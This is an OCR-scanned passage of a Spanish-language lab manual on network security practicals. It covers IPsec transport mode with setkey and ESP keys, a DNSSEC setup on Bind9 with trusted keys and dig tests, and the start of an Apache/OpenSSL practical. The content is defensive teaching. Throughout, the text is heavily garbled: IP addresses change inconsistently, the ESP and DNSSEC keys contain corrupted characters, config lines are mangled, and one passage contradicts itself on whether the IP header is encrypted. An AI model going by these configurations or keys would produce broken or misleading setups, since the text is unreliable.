add 192.168.10.2 192.168.12.2 esp 0x301 -E 3des-cbc 0x47f5d781c248031206882484d8c6ef083a09%bef3ebdaa8g;

#Politicas de seguridad
spdadd 192.168.12.2 192.168.10.2 any -P in ipsec
esp/transport//require;

spdadd 192.168.10.2 192.168.12.2 any -P out ipsec
esp/transport//require;
llustracion 215: Verificando el archivo de configuracion ipsec-tools.conf en H1.

Para H2:

GNU nano 2.2.2

Archivo: /etc/ipsec-tools.conf Modificado

#! fusrfsbinfsetkey -f

#sAs para ESP
add 192.168.12.2 192.168.10.2 esp 0x201 3des-cbc @x7aeaca3f87d060al2f4a4487d5a5c3355920Fae69a96c831;
add 192.168.10.2 192.168.12.2 esp 0x301 3des-cbc 0x47f5d781c248031206882484d8c6ef083a099bef3ebdaasg;

#Politicas de seguridad
spdadd 192.168.108.2 192.168.12.2 any -P 1 ipsec
esp/transport//require;

spdadd 192.168.12.2 192.168.10.2 any -P out ipsec
esp/transport//require;

llustracion 216: Verificando el archivo de configuracion ipsec-tools.conf en H2.
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Una vez que los archivos de configuracion estén listos en ambos hosts solo queda
agregarlos al nucleo con setkey —f /etc/ipsec-tools.conf. Si todo se ha hecho bien ahora
se puede proceder a probar la conexion, realizando un ping desde H1 (192.168.10.2) a H2
(192.168.12.2) o viceversa, haciendo una captura del trafico para analizar dicha captura y

comprobar el funcionamiento de IPsec.

La captura muestra lo siguiente:

No. Time Source Destination Protocol | Length Info

9.000008 68.10 658,12 ES 122 ES PI=0x0000036
2 0.001684 192.168.12.2 192.168.168.2 ESP 122 ESP (SPI=0x88000281)
3 1.002165 192.168.10.2 192.168.12.2 ESP 122 ESP (SPI=0x80000301)
4 1.003998 192.168.12.2 192.168.10.2 ESP 122 ESP (SPI-0x80000201)
5 2.004449 192.168.10.2 192.168.12.2 ESP 122 ESP (SPI=0x00000301)
6 2.008583 192.168.12.2 192.168.16.2 ESP 122 ESP (SPI=0x80000201)
7 3.007249 192.168.10.2 192.168.12.2 ESP 122 ESP (SPI=0x88060381)
8 3.008757 192.168.12.2 192.168.168.2 ESP 122 ESP (SPI=0x88000281)
9 4.009453 192.168.10.2 192.168.12.2 ESP 122 ESP (SPI=0x80000301)

10 4.011217 192.168.12.2 192.168.10.2 ESP 122 ESP (SPI=0x00000201)

11 5.011247 192.168.10.2 192.168.12.2 ESP 122 ESP (SPI=0x80000301)

12 5.012630 192.168.12.2 192.168.16.2 ESP 122 ESP (SPI=0x80000201)

13 6.013442 192.168.16.2 192.168.12.2 ESP 122 ESP (SPI=0x88000381)

14 6.015198 192.168.12.2 192.168.18.2 ESP 122 ESP (SPI=0x80000201)

15 7.014848 192.168.10.2 192.168.12.2 ESP 122 ESP (SPI=0x00000301)

16 7.016657 192.168.12.2 192.168.160.2 ESP 122 ESP (SPI=0x80000201)

llustracion 217: Realizando el andlisis del trafico con la herramienta Wireshark.

Analizando un poco la captura podemos ver que la cabecera IP no esta encriptado. Esto
es porque estamos usando modo transporte el cual trabaja en lo alto de IP. Toda la carga
IP esta encriptado ero la cabecera no fue modificada.

Ya que la cabecera IP esta encriptado, no hay manera de determinar si el protocolo de la
capa superior es TCP o UDP o IP.

Las direcciones de origen y destino de los paquetes IP son las direcciones
correspondientes a los hosts finales 192.168.10.2 (H1) y 192.168.13.2 (H2). Esto no era
asi en la parte 2 donde las direcciones de origen y destino eran las direcciones finales del

tlnel IPsec.
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11.13PRACTICA: DNSSEC.

Introduccion.

Esta practica consiste en aplicar un medio de defensa para el servidor DNS, protegiendo
este sistema de resolucion de direccién con la ayuda de DNSSec. Debido el protocolo
DNS es vulnerable a ataques porque carece de forma inherente de las funciones de
autenticaciéon y comprobacién de integridad de los datos que se intercambian entre
servidores DNS o que se proporcionan a clientes DNS, surge la idea de implementar
DNSSEC porque aumenta la seguridad de las respuestas DNS al proveer a los servidores
DNS de la capacidad de validar dichas respuestas.

Con DNSSEC, los registros de recursos incorporan firmas digitales, estas firmas digitales
se generan cuando DNSSEC se aplica a una zona DNS mediante un proceso
denominado firma de zona, cuando una resoluciéon emite una consulta DNS de registro de
recursos en una zona con firma, la respuesta que se devuelve incluye una firma digital
para que la validacién pueda ejecutarse y si la validacién es correcta, quiere decir que los

datos no se han modificado ni alterado en modo alguno.

DNSSEC es una extension al protocolo DNS, que de estar disponible, asegura a los
resolvedores DNS autenticacion e integridad de los datos DNS y en caso de que no exista
el dominio a consultar también nos asegura su no existencia. Las firmas que se generan
con DNSSEC estan incluidas en la zona DNS en los registros de recursos nuevos. Estos
registros de recursos se llaman recursos RRSIG (firma de registro de recursos). Cuando
un solucionador emite una consulta para un nombre, uno o mas registros RRSIG se
devuelven como respuesta. Una clave criptografica publica que se almacena en un
registro de recursos DNSKEY se usa para comprobar la firma. El registro DNSKEY se

recupera con un servidor DNS durante el proceso de validacion.

Objetivos.
= Configurar un servidor DNS bajo con Linux con el software Bind.

= Conocer los archivos de configuracion.
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= Crear una zona directa e inversa.

= Implementar la extension de seguridad DNSSEC.

= Configurar DNSSEC en Bind9.

= Implementar claves de seguridad y registro de dominios DNSKEY.
= Probar DNSSEC en clientes Windows y Linux.

Requerimientos para la realizacién de la practica.

= Tener instalado alguin programa de virtualizacién por ejemplo virtual Box.
= Tenerinstalado un Bind9.
= Contar con dos maquinas virtuales en una tener Bind9 y otra serd maquina de

prueba con Windows xp.

Desarrollo.
= Los valores que debemos tener claros antes de comenzar son los siguientes:
= Direccion IP del servidor: 192.168.0.130
= Nombre del servidor: angel
= Dominio que vamos a crear: josecalero.org

Estos valores deberemos sustituirlos por los que necesitemos en cada caso.

Los pasos para instalar y configurar Bind en Ubuntu Server son los siguientes:
1. Actualizamos la informacion de los repositorios con el siguiente comando:

sudo aptitude update

2. Instalamos el servidor DNS Bind9:
apt-get install bind9

3. Hacemos una copia de seguridad del archivo que vamos a modificar:
sudo cp /etc/bind/named.conf.local /etc/bind/named.conf.local.original
Este comando nos puede ahorrar mucho tiempo.

4. Editamos el archivo /etc/bind/named.conf.localcon el siguiente comando:
sudo nano /etc/bind/named.conf.local

Afadimos el siguiente contenido:
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Do any local configuration here

Con=zider adding the 1918 =zone=s here, if they are not u=sed in ygowur
organization
~~<include “setocobind-szones . rfcocl19187:

" josecalero.org’
master:
"db . josecalero.org’:

"0.168.192 . in—addr .arpa’ {
master:
"dbh.192 .168.0""

llustracion 218: Configurando las zonas, en el archivo /etc/bind/named.conf.local

Para guardar el archivo debemos pulsar la combinacion de teclas Control+0O y para salir
Control+X.
5. Para comprobar la sintaxis de los archivos de configuracién ejecutamos el siguiente
comando:

named-checkconf /etc/bind/named.conf.local

root@angel : ~home/ josef named-checkconf setcsbindsnamed.conf.local
root@angel : ~home/ joselt

llustracion 219: Verificando la sintaxis de los archivos de configuracion.

Si no aparece nada, la sintaxis de los archivos de configuracidbn es correcto, eso no

significa que no haya ningun error, s6lo que no hay errores de sintaxis.

Si hubiésemos cometido un error de sintaxis, nos apareceria indicado junto a la linea en la
gue ocurre. En el siguiente ejemplo puede verse que en el archivo

/etc/bind/named.conf.local en la linea 15 hay un error.
6. Creamos el archivo /var/cache/bind/db.josecalero.org

Sudo nano /var/cache/bind/db.josecalero.org

GHU nano =Z.2.2 File: .var~cache-bind-~db. josecalero.oxrg

ORIGIN josecalero.org .
TTL S540@ : 1 dia
IH S0n ange1 postmaster
;o =erie
;: refresco (6 horas)
;o reintentos (1 horal

;o expira (2 semanas )
:ominimo (3 horas)

ange1l
192 .1658 .0 . 130
192 .168 .0 . 130

llustracion 220: Creando el archivo db.josecalero.org y estableciendo los equipos de red que desean ser
identificados.

Unan-Ledén Pagina 275




Practica de DNSSEC.

Aqui deberiamos afadir todos los equipos de nuestra red que quisiéramos mantener

identificados. Ahora comprobamos que no haiga errores en el fichero creado:

named-checkzone josecalero.org /var/cache/bind/db.josecalero.org
root@angel : ~home joset named-checkzone josecalero.org -var-cachesbind-db. joseca

root@angel : ~home/ josett

llustracién 221: Verificando que no existan error en los ficheros creados.
7. A continuacién creamos el archivo /var/cache/bind/db.192.168.0 para la zona inversa.

Sudo nano /var/cache/bind/db.192.168.0
GHNU nano 2.2.2 File: ~var-cachesbind.-dh.192.168.0

SORIGIN 0.168.192. in-addr .arpa.
STIL 864100 ;1 dia
'} IN S0A angel postmaster (
1 ; serie
6H : refresco (6 horas)
1H : reintentos (1 horal
Zu ; expire (£ semanas)
3H ; mimino (3 horas)

N3 angel . josecalero.oryg.
PTR angel . josecalero.oryg.
PTR wuw . josecalero.oryg.

llustracion 222: Creacion del archivo /var/cache/bind/db.192.168.0 para zona inversa.

El namero 130 se corresponde con el Ultimo digito de la direccién IP del servidor

(192.168.0.130). Ahora comprobamos que no haiga errores en el fichero creado.
named-checkzone 0.168.192.in-addr.arpa /var/cache/bind/db.192.168.0

Al igual que antes obtendremos un mensaje para indicarnos tanto si la zona es correcta

como si no lo es.

rootBangel : -homes joselt named-checkzone 0.168.192. in-addr.arpa svarscachesbind-db
.192.168.0

zone 0.168.192.in-addr.arpasIN: loaded serial 1

13
root@angel : shome/ josett

llustracion 223: Verificando que no existan errores en el archivo.
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8. Configurar los pardmetros de la red en /etc/network/interfaces.

This file describes the network interfaces available on your system
and how to activate them. For more information, see interfaces(5).

The loopback network interface

iface lo inet loopback

The primary network interface
iface ethd inet =static

addre=s=z 192 .168.0.130
netmask 255.255.255.0
network 192 .168.0.0
broadcast 19Z2.168.0.255
gateway 192 .168.0.1
dns—naneservers 192 _168.0._.130

tiface eth® inet dhcp

llustracion 224: Archivo de configuracién de pardmetros de red.

9. Editamos el archivo /etc/resolv.conf para que nuestro servidor resuelva las peticiones
DNS.

Sudo nano /etc/resolv.conf

Cambiando el primero de los servidores DNS por la IP del nuestro.
GHU nano 2.2.2 File: retcrsresolv.conf

nameserver 192.168.0.130
#nameserver 192.168.1.105
domain josecalero.org
=earch josecalero.org

llustracion 225: Editando archivo para proporcionar resolucion a peticiones DNS.

No nos queda mas que reiniciar nuestro servidor para que se guarden las configuraciones
gue han sido hechas y hacer pruebas con la herramienta DIG.

e DD

root@angel : /home/ jose#t setc/init.d/bind9 restart

» Stopping domain name service... bind9
» Starting domain name service... bind9
irootRangel : /home/ joselt

llustracion 226: Reiniciar el servidor para guardar toda configuracion.

10. Probamos nuestro servidor de nombres.

dig josecalero.org
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lruut@angel:/hume/juseﬂ dig josecalero.org

; £<F> DiG 9.7.0-P1 <<>> josecalero.org

;: global options: +cmd

i Got ansuwer:

:: =»>HEADER<<- opcode: QUERY, status: HOERROR, id: 31252

;: flags: gr aa rd ra: QUERY: 1, ANSWER: O, AUTHORITY: 1, ADDITIONAL:

;: QUESTION SECTION:
; josecalero.oryg. IN

;: AUTHORITY SECTION:
Jjosecalero.oryg. 10800 IN S0A angel . josecalero.org. postmaster
. Josecalero.org. 1 21600 3600 1209600 10800

35 Query time: 29 msec

:: SERVER: 19Z.168.106.77#53(192.168.106.77)
;; WHEN: Mon Feb 18 19:Z8:14 Z013

:: M3G SIZE rced: 85

root@angel : ~homne- josedt _

llustracion 227: Verificando el funcionamiento
11. Probamos la inversa.

Dig —x 192.168.0.130

rootRangel D home.~ joseft dig —x 192 .168.106.77

;<> DiG 9.7 .0-P1 <<>> —x 192 .168.106.77
> global options: +cmd
Got answer:
—>>HEADER<<— opcode: QUERY, =statu=s: HOERROR, id: 23417
flag=s: gr aa rd ra: QUERY: 1, ANSWER: Z, AUTHORITY: 1, ADDITIONAL: 1

;: QUESTION SECTION:
2P 106 168 . 192 0 in—addr . arpa . IMN PTH

ANSWER SECTION:
106 . 168192 | in—addyr .arpa . 86400 PTH angel . josecalero.org .

106 . 168 . 192 . in—addr .arpa . S6400 PTH www . josecalero.org.

AUTHORITY SECTION:
106 .168.192 . in—addr .arpa. S6400 IN NS angel . josecalero.org.

;2 ADDITIONAL SECTION:
angel . josecalero.org. 86100 IN A 192 .168.106 .77

Query time: 43 msec

SERVER: 192 .168.106.77#53(192.168.106.77)
WHEN: Mon Feb 18 19:30:27 2013

HMSG SIZE rcoed: 127

llustracion 228: Verificando el buen funcionamiento de la inversa.

Implementado DNSSEC en un servidor DNS de zona (resolver).

DNSSEC son unas nuevas extensiones de seguridad aplicadas a los servidores de

nombres (DNS), que evitan la posibilidad de determinados ataques DNS.
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1) Comprobamos que nuestro servidor no implementa DNSSEC o que utiliza un
resolver que lo utilice.

# dig @IP_delServidor +dnssec . | grep ";; flags: "

Si en el resultado no aparece el Flag ad, no tiene implementado DNSSec

Ej de salida de un servidor dns que no implementa DNSSec:

;; flags: grrdra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

2) Visualizamos las claves DNSSec de los dominios a configurar utilizando la

herramienta dig.

# dig . DNSKEY

# dig cat. DNSKEY

# dig org. DNSKEY

# dig com. DNSKEY

# digedu. DNSKEY

# dig dvl.isc.org. DNSKEY

Las copiamos para utilizarlas mas tarde, las claves son lo qué esti después de: " 257 3
10"

3) Editamos el fichero /etc/bind/named.conf.options donde agregamos dentro de la

declaracion lo siguiente.

options {
directory "~var-cache-~bind":

A~ If there iz a firewall between you and nameservers you want
~» to talk to, you may need to fix the firewall to allow multiple
<~ portz to talk. 3ee http:-wuww kb _cert org-uvuls-id-~-B00113

s If your ISP provided one or more IP addresses for =stable

< nameservers, you probably want to use them as forwarders.

s Uncomment the following block, and insert the addresses replacing
~~ the all-0"s placeholder.

~» Forwarders A
o 0.0.0.0:;
E o

auth-—nxdomain no: # conform to RFC1035
listen—on—vG { any: ¥:

dnssec—enable yes:

dnssec—validation yes:

dnssec—lookaside "." trust-anchor dlv.isc.org.:

llustracion 229: Editando el archivo /etc/bind/named.conf.options.
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4) Creamos el archivo /etc/bind/named.conf.options.dnssec y agregamos lo
siguiente corrigiendo las claves si es necesario.

rusted-keys {

“cat." 257 3 10

"AWEAAZYLDb 1UU380tA0JIKLgUE=50YDnNR jKif f ~ IbgaZHUvBo9HI+r41 ef cL?4uqUAJERLS+98GEpS
KDpEJ4gnuaOHroMbMEArM ILAGDeekRn 1qCCRXAShJBwowZolSceHiAZ20 pngGCn-33MkB+Kprb jJ4e0s
ACzH51 YmoJaGaki)JcH4Z UsFPyROUGrErG14=sgLyWSFpuwF TGN jPCHTU3WER jn Iemg iUJ lykhlsFHYGA
EECG jhBUAXRz4PuyR10F 7t YEzh?78NLTR3IRA jiOXPUUePQAVII+06U6Xu jUMUnGr94s="";

"org." 257 3 7

"AWEAAYPYT jJaaRzzkxWQgMad 17 YExYB1NAYSv+gayuZDodnZ9 INhObube YaVUdzNAbVedBgdb jglsRS
xEnKKTX+ jUfytZe T?7d3AbS=zBRCOv?uZrMoM2endn16ide6rEUnQCZp9D rrDg9F6tXCICD. zC7. y+BS
hZm7radE? 1tL13hZmx7kE gU8ebnpJ1CoX jra lBgUDthY=s48U-=sdTDLu?N59r jCG+bp il +cBoZ9f 7N
R3gmSTp TP 1ImB6RgUONnVEYr i f rHBK jDgL +3uzUdFSACKYwt 1IXhPUPU+wST lzbaA(N49PU="";

"com." 257 3 8
"AQPDz 1dNmMuZFX4NcHJOuEnKDg 7 tnu F3MyQRO 1 pBmUcHes IszxNFxsB fRKNWIJIYCYqpik8366LETVUS
ws6o0d+Z2boggPoiEf GNyvNPaSI?F0IroDsnu- taggzHRX1Z7S0i0iPWPN TwSUYWOZ790ncQ1GLECA6NS

XuZbgMUI?BaMskmugnlG7oKZ21Y i F709ioUNcO+?AShbgnZN7298EGU.~(Jh 2R/BgUEEHS@XUCdPHPth$
Nnv4oPo.":

Yedu." 257 3 B
A0 luvuVHACSUX6EZr3d5Y I Iul3SDXEpDeGRCIET3TO 1 lwup®NprtJhf cl1¥VehllNgquci jLnEhSLHS
g YSDOnxLPoB IRq++8Mxur+2¥YCSRaCHyrgal4TnHaP iHLuKe?sGuHQBKES rXst?HxFSzgG+gleyt¥IxS

EP6E3T+b3d i ZHepB3ZuBWyDewsmHO8aoHm= IHO49uBN 17 iFZByRKY9yA JBTshANt iUHHWAF?JJtULS
MBaFs4L1";

. 257 3 8

"AwEAfagh IK1VZ2rpC6 Ia7gEzahOR+9WZ29euxhJhUVLOyQbSEWO08ycC jF FUQUTE6uSEf L juBd0Y IOES
bf DaUeVUPQu YEhg37NZWAJJIUnMUDX P ~UHL496M-QZxk jf S-Ef ucpZgal X6RS6CXpoY68LsuPV jROZS

zEheX? ICJBBtuAbG3L0pz WSh0AZhzCTH jJPJELbgFod=sV6DoBlzgu 10=6 IcGOY 170yQdXf 257 rels
Jageu+ipAdTTJZ5A=RTAoubBONGCLngrAMBLEKEP 14f whYB4N7?knNnulg QxA+Uklihz0="";

.25 38

"AuEAAagA IK 1VZrpCh Ia?gEzahOR+9UZ29euxhJhUULOYyQhSEWO08gcC jF FUQUTE 6uSSf L juBA0Y IOES
bf DalleVPQu¥YEhg3?HNZUAJQIVNMUDXP -UHL496M-Q2xk jf5-Ef ucp2gal X6RSHCKpoYHBLsuPY jROZS
zEheX? ICJBBtuAbGG3LYpz W5hDAZhzCTH jJPJBLbgF6dsUV6DoBzqul0sGIcGOY 170yQdXf 257relS
Jageu+ipAd TTJZ5AsRTAoubBONGCLngrAnRLKBP 1df whYB4N7knNnu lg QxA+Uk1ihz0="";

llustracion 230: Creando el archivo /etc/bind/named.conf.options.dnssec y agregando las diferentes claves.

5) Incluimos en el /etc/bind/named.conf el nuevo archivo.
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Thi=z iz the primary configuration file for the BIND DNS =server named.

-~
I
~ Please read ~usr-share-doc-bind3-README.Debian.gz for information on the
# structure of BIND conf iguration files in Debian., =BEFORE= you customize
» thiz conf iguration file.

I

-~

If you are just adding =zones, please do that in ~etcrbind-named.conf .local

include "retcosbindsnamed.conf .options™:
include "“retcrsbindrnamed.conf . local':

include “retcsbind-named.conf .default-zones";
include “retcosbindsnamed.conf .options.dnssec':

llustracion 231: Agregando nuevos pardmetros al archivo /etc/bind/named.conf.

6) Reiniciemos el servidor después de estas configuraciones.

acle VM VirtuzlBox ‘

root@angel : shome~ joselt setcrinit.dsbind9 restart
* Stopping domain name service... bind9

* Starting domain name service... bind9
root@angel : -homne joset

llustracion 232: Reiniciando el servidor para que guarde las configuraciones.

7) Verificamos que el servicio funcione y que también el servicio DNSSEC que hemos
configurado ya este corriendo.
dig @192.168.0.130 wikipedia.org

G

root@fangel : ~home.~ jose#t dig 2192 .168.0 .26 +dnssec . i grep “:: flags:
rootPangel : ~home~ jose#f dig 2192 .168.0.26 +dnssec . i grep “':: flags: v
:: flags: gr rd ra ad: QUERY: 1, ANSUWER: 0, AUTHORITY: 4, ADDITIONAL: 1
rootRFangel : ~home- jose#f dig 2192 .168 .0 .26 wikipedia.org

B

<<>> DiG 9.7.0—PFP1 <<>> 2192 .168 .0 .26 wikipedia.org

Got answer:
—>>HEADER<<— opcode: QUERY, status: NOERROR., id: 34303
flags: gr rd ra: QUERY: 1, ANSUWER: 1, AUTHORITY: 3, ADDITIONAL:

:: QUESTION SECTION:
wikipedia.org.

l: - ANSWER SECTION:
quikipedia.org. 3600 IN Z08 .80 .152 .201

;: AUTHORITY SECTION:

wikipedia.org. 86397 IN nsG.wikimedia.org.
wikipedia.org. 86397 IN nsl.wikimedia.org.
wikipedia.org. 86397 IN nsZ.wikimedia.org.

Query time: 471 msec

SERUVER: 192 .168.0 .Z268#53(192.168.0 .26
WHEN: Mon Feb 11 15:40:13 2013

MSG SIZE rcud: 111

; (1 server found)
global options: =cmd

Ilustracion 233: Verificando funcionamiento del servidor Sy de su rotecci(’)n DNSSec.
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dig @192.168.0.130 +dnssec .org | grep ;; flags: "

Ej:;; flags: grrdraad; QUERY: 1, ANSWER: 0, AUTHORITY: 4, ADDITIONAL: 1

Si nos sale el Flag ad, todo debe estar funcionando. Lo podes ver en la siguiente imagen

capturada de la maquina con DNS server.

root@angel : ~home joset

root@angel : ~home joset

;:: flag=s: gqr rd ra ad:

root@angel : ~home joselt

;: flags: gqr rd ra ad:

root@angel : ~home joset

;: flag=: gr rd ra ad:

root@angel : ~home- joset

;: flag=: gr rd ra ad:

root@angel : ~home- joset

;: flag=: gr rd ra ad:

rootRangel : ~home/ joset

;: flag=: gr rd ra ad:

rootPangel : ~home/ josel

;:; flag=: gr rd ra ad:;

rootEangel : ~home- josel

;; flag=: gr rd ra ad:;

dig #192.168.0.26
dig #192.168.0.26
QUERY: 1. ANSUWER:
dig #192.168.0.26
QUERY: 1. ANSUWER:
dig #192.168.0.26
QUERY: 1. ANSUWER:
dig 2192 .168.0.26
QUERY: 1. ANSUWER:
dig 2192 .168.0.26
QUERY: 1. ANSUWER:
dig 2192 .168.0.26
QUERY: 1. ANSUWER:
dig @2192.168.0.26
QUERY: 1, ANSUER:
dig @192.168.0.26
QUERY: 1, ANSUER:

+dnssec . i grep
+dnssec . i grep
0, AUTHORITY: 4,

+dnssec . i grep
0, AUTHORITY: 4,

+dnssec . i grep
0, AUTHORITY: 4,

+dns=sec . i grep
0, AUTHORITY: 4.

+dns=sec . i grep
0, AUTHORITY: 4.

+dns=sec . i grep
0, AUTHORITY: 4.

+dnssec . i grep
0, AUTHORITY: 4,

+dnssec . i grep
0, AUTHORITY: 4,

:: flags:
:: flags:
ADDITIONAL :
i1 flags:
ADDITIONAL :
i1 flags:
ADDITIONAL :
;i flags:
ADDITIONAL :
;i flags:
ADDITIONAL :
;i flags:
ADDITIONAL :
":: flags:
ADDITIONAL :
“;: flags:
ADDITIONAL :

rooteangel : ~home- josel#t _

llustracion 234: Comprobando el FLSG lo que indica que esta funcionando

Correctamente el servido de resolucion de direccidon y con su proteccion adecuada.

Ahora vamos a instalar un plugin DNSSec en el navegador Firefox:

En Herramientas - Complementos, buscamos DNSSec e instalamos el plugin llamado
DNSSEC Validator. Este plugin nos permite saber si las paginas que tienen implementado

DNSSEC son seguras o existen inicios de un ataque de falseamientos sobre la misma.
v | hatpoywww icann org/esfannouncements/dnssec-gaa-09octog-es hitm v - v
Secured by DNSSEC
Domain name
www.icann.org
is secured by DNSSEC

d by DNSSEC for M rss B Twitter @R Alerts

u are secured

B sicg T ehotos B Video

Policy In Focus Meetings Resources Documents Press Room Careers Contact

A Home
=3  Engish  Francais |Espafol Pyccxsi

> News

DNSSEC - ;Qué es y por qué es importante?

Announcements

Blog @ de octubre de 2008

N SU ONdenador un NoMbre o un NaMmero
arse entre si. ICANN se ocupa de

Para contaclar 8 olra persona a lraves de Intemet. «
Esa dreccitn bene gue ser Gnica pans GQue oS Orderneo:

Contractual Compiiance
Newsletter Archive

llustracion 235: Instalando el plugin DNSSec en Firefox.

Configurar un cliente Linux Y Windows del servidor DNSSEC.
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Para saber si estamos usando DNSSEC en nuestra red vamos a visitar el sitio web
http://dnssectest.sidn.nl/test.php donde nos va a responder si tememos DNSSec o si

estamos sin DNSSec en el servicios de nombres DNS.

[

You are not protected

llustraciéon 236: Verificando si se esté utilizando DNSSec en la red.

Cliente Windows XP.

Primero vamos a configurar su adaptador de red para que las consultas DNS las resuelva
nuestro servidor DNS.

=
e e e Sy S N e el )

s ==
3= Propiedades de Conexion de area local P Propiedades de Protocolo Internet (TCPSIP)

General | Opciones avanzadas | General

Conectar uzando: FPuede hacer que la configuracion |P g2 asigne automaticamente si su
e red ez campatible con este recurzo. De lo contrario, necesita consultar
ES Adaptador Ethernet PCLAMD PCHE Configurar.... con el administrador de la red cudl es la configuracion IFP apropiada
E zta cone=idn utiliza los siguientes elementos: 1 Obtener una direccidn IP automaticamente
B Clicnte para redes Microsoft @) Usar la siguiente direccion 1P

g Compartir impresaoras y archivos para redes bicroszoft

Dirsccidn IP: 192 _ 168
S~ Protocaolo Internet [TCRAR] freesion

tézcara de subred: 265 2655 |

Puerta de enlace predeterminada: 192 . 168

Descrnpcion

Frotocolo TCRAIF. El protocola de red de area extensa @ Uszar las siguientes direcciones de servidar DMS:
predeterminado que permite la comunicacidn entre warias -
redes conectadas entre si. Servidor DMS preferida: 192 . 168

Fostrar icono en el drea de notificacion al conectarse Servidor DMS altenativo:

Motificarme cuando esta conesidon kenga conectividad limitada o
nula

| Opciones avanzadas. .. |

[ Aceptar ] | Cancelar |

llustracion 237: Configurando el cliente para que consulte al servidor DNS

Lo primero que tenemos que hacer es configurar el archivo /etc/network/interface del
cliente y luego modificar su archivo /etc/resolv.conf para resuelva nuestro servidor DNS.
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Aplicaciones Lugares Sistema "'-'3 1) dom 17 de Feb, 12:31

[ [ <X T root@Ubuntu: fhome fjose
Archivo Editar Wwer Buscar Terminal Ayudak
GNU nano 2.2.4 Archivo: Jsetc/network/sinterfaces Modificado

auto lo
iface lo inet Loopback

#The primary network interface

iface etheflinet static
address 192.168.8.137
netmask 255.255.255.80
network 192.168.8.80
broadcast 192.168.8.255
gateway 192.168.8.1
dns-nameservers 192.168.0.130

[ 12 linmeas leidas ]

s Ver ayuda g Guardar d Leer Fich [ RePag - B Cortar Texjpghd Pos actual
-~ Salir Bl Justificar Buscar Pag. Sig. gl PegarTxt -~ Ortografia

GNU nano 2.2.4 Archivo: /Jetc/resolv.conf

# Generated by NetworkManager
domain josecalero.org

search josecalero.org
nameserver 192.168.60.138
#nameserver 192.168.1.185

llustracion 239: Configurando el archivo /etc/resolv.conf para establecer que el servidor DNS resuelva a las
consultas de peticién dns.

1Mas visitados v [@)] Getting Started [E)Latest Headlines

¥ SIDN DNSSEC test o -

DNSSEC E

m

You are protected

llustracion 240: Verificando nuevamente si nos encontramos protegido por DNSSEC en cliente Linux.
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11.14PRACTICA: SECURE SOCKETS LAYER (SSL).

Introduccion.

Esta practica consiste en una conexiébn seguro con SSL, el cual nos permite una
autenticacién y privacidad de la informacién entre extremos sobre internet mediante el uso
de Criptografia. Dicho practica se realizara de manera virtual con la ayuda de virtual Box
1 méaquina virtual donde se encuentra instalado el servidor web con apache2 y openssl y
se realizara la verificacion a través de una maquina cliente Windows y Linux. Esta practica

se realiz6 en Ubuntu 10.04 como sistema operativo base y virtual Ubuntu server 10.04.

SSL proporciona autenticacion y privacidad de la informacion entre extremos sobre
Internet mediante el uso de criptografia. Habitualmente, sélo el servidor es autenticado, es
decir que garantiza su identidad mientras que el cliente se mantiene sin autenticar. SSL
se caracteriza por negociar entre las partes el algoritmo que se usara en la comunicacion,
el Intercambio de claves publicas y autenticacidbn basada en certificados digitales y

sobretodo el cifrado del trafico basado en cifrado simétrico

Objetivos.

= Demostrar con ayuda de la virtualizacion la aplicacién de SSL.
= Demostrar a través de esta practica el establecimiento de conexion segura.
= Brindar conocimientos acerca Secure sockets Layer (SSL).

= Realizar el andlisis del trafico con Wireshark.

Requerimientos para la realizaciéon de la practica.

= Tener instalado algun programa de virtualizacién por ejemplo virtual Box.

= Tener instalado apache2 y openssl.

= Contar con una maquina virtual como servidor que responda a las peticiones web
y la autenticacion con SSL.

= Tener instalados un analizador de protocolo en por ejemplo: Wireshark.
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Desarrollo.

SSL (Secure Socket Layer) es un proceso que administra la seguridad de las
transacciones gue se realizan a través de Internet, el estdndar SSL fue desarrollado por
Netscape, junto con MasterCard, Bank of América, MCI y Silicn Graphics. Se basa en un
proceso de cifrado de clave publica que garantiza la seguridad de los datos que se envian
a través de Internet. Su principio consiste en el establecimiento de un canal de
comunicacion seguro entre dos equipos es decir el cliente y el servidor después de una

fase de autenticacion.

Actualmente, casi todos los navegadores soportan el protocolo SSL. Por ejemplo,
Netscape Navegador muestra un candado cerrado para indicar la conexion a un sitio Web
con seguridad SSL y un candado abierto en el caso opuesto, en tanto que Microsoft
Internet Explorer muestra un candado sélo si establece una conexién con un sitio Web
SSL.

Escenario a realizar.

Seridor Apache, SSL
152.168.1.4

Cliente
Ubuntu 10 04
19 5

Internet

Cliente
VWindows
192.168.1.6

llustracion 241: Escenario a realizar aplicando protocolo SSL.
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Realizando la practica Secure Sockets Layer.

Primeramente lo que tenemos que hacer es instalar en el servidor, el paguete de apache2
el cual nos permitird mostrar las aplicaciones webs, este componente podemos instalarlo
con el comando: sudo apt-get install apache2.

ootEubuntu i vhomesrodolfoit sudo apt—get install apacheZ

eyendo lista de paguetes... Hecho

reando arbol de dependencias

eyendo la informacidn de estado... Hecho

e instalaran los siguientes paguetes extras:
apacheZ—mpmn—worker apacheZ—utils apacheZ . Z2-bin apacheZ.Z2—common libaprl
libaprutill libaprutill-dbd-=glite3 libaprutill-ldap =ssl-cert

Paguetes sugeridos:
apacheZ—doc apacheZ—suexec apacheZ-—suexec—custom

Be instalaran los siguientes paguetes NUEUOS:
apachez apacheZ-mpm—worker apacheZ-utils apacheZ.Z-bin apacheZ.Z2—common
libaprl libaprutill libaprutill-dbd-=sglite3d libaprutill-ldap ssl-cert
actualizado=s, 10 =e instalaran, @ para eliminar y v8 no actualizados.
ecesito descargar 3I3I70kEB de archivos.
e ntilizaran 10.2ZMB de espacio de disco adicional despues de esta operacion.
f.Dezea continmmar [S-nl17

llustracion 242: Instalando el servicio web apache2.

En el momento de la instalacién de apache2 mostrara todos los componentes que se
instalaran en conjunto de apache2 y nos preguntara si deseamos seguir con la instalacion

verificando el espacio del disco, presionamos S para continuar con la instalacion.

Posteriormente de instalar el servicio de Apache2 se procede con la instalacion de
Openssl, esta es una caracteristica de FreeBSD que ofrece una capa de cifrada de
transporte sobre la capa normal de comunicacion, permitiendo la combinacién con
muchas aplicaciones y servicios de red y se instalara a través del siguiente comando:

sudo apt-get install openssi.
ootBubuntu : chomesrodolfoft sudo apt-get install openssl
eyendo lista de paguetes... Hecho
reando arbol de dependencias
eyendo la informacidn de estado... Hecho
Paquetes sugeridos:
openssl-doc
Fe actualizaran los siguientes paguetes:

openss1
actualizados, 0 =se instalaran, O para eliminar y ¥? no actualizados.
ecesito descargar 400kE de archivos.
Fe utilizaran 0B de espacio de disco adiciomal despues de esta operacion.
